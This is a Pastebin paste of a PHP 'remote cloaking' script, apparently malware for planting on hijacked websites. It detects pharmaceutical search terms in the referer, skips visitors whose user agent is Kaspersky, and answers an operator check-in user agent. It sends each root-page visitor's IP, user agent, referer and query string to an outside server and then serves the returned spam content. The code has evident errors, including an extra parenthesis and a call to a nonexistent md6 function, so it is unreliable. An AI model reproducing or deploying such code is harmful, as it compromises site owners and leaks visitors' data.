Advertisement
Guest User

Remote cloaking

a guest
Mar 4th, 2013
662
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.51 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3.  
  4. $_0 = 5;
  5. $_ua1 = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6';
  6. $_2 = $_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI'];
  7. $_2 = str_replace('&', '%26', $_2);
  8. $_3 = @$_SERVER['HTTP_HOST'];
  9. $_3 = str_replace('www.', '', $_3);
  10. $_3 = strtolower($_3);
  11. $_4 = md5($_3 .'morda');
  12. $_5 = 0;
  13. $_ref6 = @$_SERVER['HTTP_REFERER'];
  14. if (strstr($_ref6, 'viagra')) { $_keyword = 'viagra'; }
  15. if (strstr($_ref6, 'cialis')) { $_keyword = 'cialis'; }
  16. if (strstr($_ref6, 'propecia')) { $_keyword = 'propecia'; }
  17. if (strstr($_ref6, 'lipitor'))) { $_keyword = 'lipitor'; }
  18. if (strstr($_ref6, 'nexium')) { $_keyword = 'nexium'; }
  19.  
  20. if ($_SERVER['HTTP_USER_AGENT']=='NZgroup'){
  21.     die("<font color='green'>CHETKO</font>#"."#OK");
  22. }
  23. if (($_SERVER['REQUEST_URI']=='/') AND ($_SERVER["HTTP_USER_AGENT"]<>"Kaspersky Internet Security")){
  24.     $_remote_url = "http://mainserverprocess.net/googleornot/dtbnz.php";
  25.     $_0 = 5;
  26.  
  27.     function l__0($_url, $post_query, $_11=l__1){
  28.         $_12 = array("http"=> array("method"=> "POST", "content"=> $post_query));
  29.         if ($_11 !== l__1){
  30.             $_12['http']['header']=$_11;
  31.         }
  32.         $_13 = stream_context_create($_12);
  33.         $_14 = @fopen($_url, 'rb', false, $_13);
  34.         if (!$_14) { return false; }
  35.         stream_set_timeout($_14, 5);
  36.         $_15 = stream_get_contents($_14);
  37.         if ($_15 === false) { return false; }
  38.         return $_15;
  39.     }
  40.  
  41.     $_16 = $_SERVER['HTTP_HOST'];
  42.     $_17 = $_SERVER['REQUEST_URI'];
  43.     $_18 = str_replace('www.', '', $_16);
  44.     $_18 = md5($_18);
  45.     $_19 = trim(str_replace('www.', '', $_SERVER['HTTP_HOST'] .$_SERVER['REQUEST_URI']));
  46.     $_19 = md6($_19);
  47.     $_accept_lang = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
  48.     $_UA          = @$_SERVER['HTTP_USER_AGENT'];
  49.     $_referer     = @$_SERVER['HTTP_REFERER'];
  50.     $_host        = @$_SERVER['HTTP_HOST'];
  51.     $_24 = @$_SERVER['HTTP_X_FORWARDED_FOR'];
  52.     $_remote_addr = @$_SERVER['REMOTE_ADDR'];
  53.     $_26 = @$_SERVER['QUERY_STRING'];
  54.     $_27 = @$_SERVER['SERVER_SIGNATURE'];
  55.     $_28 = @$_SERVER['REQUEST_URI'];
  56.     $_29 = $_remote_addr;
  57.     $_referer = str_replace('&', '%26', $_referer);
  58.     $_30 = l__0($_remote_url, "host=" .$_16 .
  59.                      "&agent=" .$_17 .
  60.                      '&sr='   .$_28 .
  61.                      '&sal='  .$_accept_lang .
  62.                      '&sua='  .$_UA .
  63.                      '&sref=' .$_referer .
  64.                      '&sh='   .$_host         .
  65.                      '&sff='  .$_24 .
  66.                      '&sra='  .$_remote_addr .
  67.                      '&sqs='  .$_26 .
  68.                      '&ss='   .$_27 .
  69.                      '&pill=' .@$_keyword);
  70.     echo $_30;
  71.     exit;
  72. }
  73. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement